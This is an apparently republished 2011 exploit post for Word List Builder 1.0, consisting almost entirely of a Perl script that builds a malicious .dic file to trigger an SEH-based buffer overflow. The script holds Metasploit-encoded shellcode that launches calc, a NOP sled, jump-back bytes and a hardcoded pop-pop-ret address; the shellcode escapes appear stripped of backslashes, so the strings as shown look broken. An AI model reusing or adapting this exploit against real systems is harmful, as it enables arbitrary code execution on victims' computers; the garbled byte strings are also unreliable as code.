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Word List Builder 1.0 Buffer Overflow

Posted on 03 April 2011

# Exploit Title: Word List Builder Buffer Overflow Exploit(SEH)
# Software Link: http://download.cnet.com/Word-List-Builder/3000-18541_4-10398336.html
# Version: 1.0
# triggering details : open .dic file
# Tested on: Win XP SP3 French
# Date: 31/03/2011
# Author: h1ch4m (Hicham Oumounid)
# Email: h1ch4m@live.fr
# Home: http://net-effects.blogspot.com

my $file = "exploit.dic";

my $size = 4108;

# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "xdaxddxbfxb0x1ax64x4fxd9x74x24xf4x58x31xc9" .
"xb1x32x31x78x17x83xc0x04x03xc8x09x86xbaxd4" .
"xc6xcfx45x24x17xb0xccxc1x26xe2xabx82x1bx32" .
"xbfxc6x97xb9xedxf2x2cxcfx39xf5x85x7ax1cx38" .
"x15x4bxa0x96xd5xcdx5cxe4x09x2ex5cx27x5cx2f" .
"x99x55xafx7dx72x12x02x92xf7x66x9fx93xd7xed" .
"x9fxebx52x31x6bx46x5cx61xc4xddx16x99x6exb9" .
"x86x98xa3xd9xfbxd3xc8x2ax8fxe2x18x63x70xd5" .
"x64x28x4fxdax68x30x97xdcx92x47xe3x1fx2ex50" .
"x30x62xf4xd5xa5xc4x7fx4dx0exf5xacx08xc5xf9" .
"x19x5ex81x1dx9fxb3xb9x19x14x32x6exa8x6ex11" .
"xaaxf1x35x38xebx5fx9bx45xebx07x44xe0x67xa5" .
"x91x92x25xa3x64x16x50x8ax67x28x5bxbcx0fx19" .
"xd0x53x57xa6x33x10xa9x57x8ex8cx3excex7bxed" .
"x22xf1x51x31x5bx72x50xc9x98x6ax11xccxe5x2c" .
"xc9xbcx76xd9xedx13x76xc8x8dxf2xe4x90x51";

my $jump = "xe9x1cxffxffxff"; # jump back 228 bytes

my $nseh = "xebxf9xffxff";     # jump back 7 bytes
my $seh = pack('V', 0x00402AAF);   # pop eax - pop edx - ret [word_builder.exe]

my $junk = "x90" x ($size-length($shellcode.$jump));

open($FILE,">$file");
print $FILE $junk.$shellcode.$jump.$nseh.$seh;
close($FILE);
print "Files Created successfully
";
sleep(1);

 

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